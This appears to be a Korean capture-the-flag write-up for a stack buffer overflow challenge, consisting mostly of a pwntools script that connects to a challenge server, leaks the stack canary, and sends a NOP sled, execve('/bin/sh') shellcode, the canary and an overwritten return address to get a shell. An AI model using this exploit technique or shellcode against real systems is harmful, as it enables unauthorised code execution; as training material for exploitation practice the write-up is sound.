버퍼 주소, RBP, Canary 주소까지 모두 알려준다.

이후 입력 부분이 buffer에 들어가는 걸 확인할 수 있다.

위 정보들을 활용하여

from pwn import *

p = remote("43.200.163.250", 31339)

context.log_level = "debug"
context.arch = "amd64"

def slog(name, addr): return success("{}: {}".format(name, hex(addr)))

#you can break me in 3min.
#buffer addr: 0x7ffdfba3e010
#rbp: 0x7ffdfba3e0a0
#canary addr: 0x7ffdfba3e098

p.recvuntil("buffer addr: ")
buffer_addr = int(p.recvline()[:-1], 16)

p.recvuntil("rbp: ")
rbp_addr = int(p.recvline()[:-1], 16)

p.recvuntil("canary addr: ")
canary_addr = int(p.recvline()[:-1], 16)

p.recvuntil("input: ")
shellcode =b"\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x99\\x0f\\x05"

Canary_Address, Buffer_Address, RBP_Address

입력을 받아 해당 주소를 받는다.

위 정보들을 총합하여 Nop-Sled 공격기법을 활용하여 RIP주소를 조작하면 된다.

from pwn import *

p = remote("43.200.163.250", 31339)

context.log_level = "debug"
context.arch = "amd64"

def slog(name, addr): return success("{}: {}".format(name, hex(addr)))

#you can break me in 3min.
#buffer addr: 0x7ffdfba3e010
#rbp: 0x7ffdfba3e0a0
#canary addr: 0x7ffdfba3e098

p.recvuntil("buffer addr: ")
buffer_addr = int(p.recvline()[:-1], 16)

p.recvuntil("rbp: ")
rbp_addr = int(p.recvline()[:-1], 16)

p.recvuntil("canary addr: ")
canary_addr = int(p.recvline()[:-1], 16)

p.recvuntil("input: ")
shellcode =b"\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x99\\x0f\\x05"

#Buffet2Canary Offset
offset = rbp_addr-buffer_addr
slog("offset : buffer <=> rbp", offset)

#LEAK_CANARY

leak_canary = b'A'*0x89

p.send(leak_canary)
p.recvuntil(leak_canary)
canary = u64(b'\\x00'+p.recv(7))

print()
print("*"*30 + " Address " + "*"*30)
print()

slog("buffer_addr", buffer_addr)
slog("rbp_addr", rbp_addr)
slog("canary_addr", canary_addr)

print()
print("*"*30 + " Offset " + "*"*30)
print()

slog("rbp <=> buffer", rbp_addr-buffer_addr)
slog("Buffer <=> canary", canary_addr-buffer_addr)
slog("rbp <=> canary", rbp_addr-canary_addr)

print()
print("*"*30 + " Stack " + "*"*30)
print()

slog("canary", canary)

p.recvuntil("input: ")

#FINAL_PEXPLOIT

way = 0x88-len(shellcode)
print(hex(way))

payload = b'\\x90'*(0x88-len(shellcode))
payload += shellcode
payload += p64(canary)
payload += b'\\x90'*8
payload += p64(buffer_addr)

p.send(payload)
p.interactive()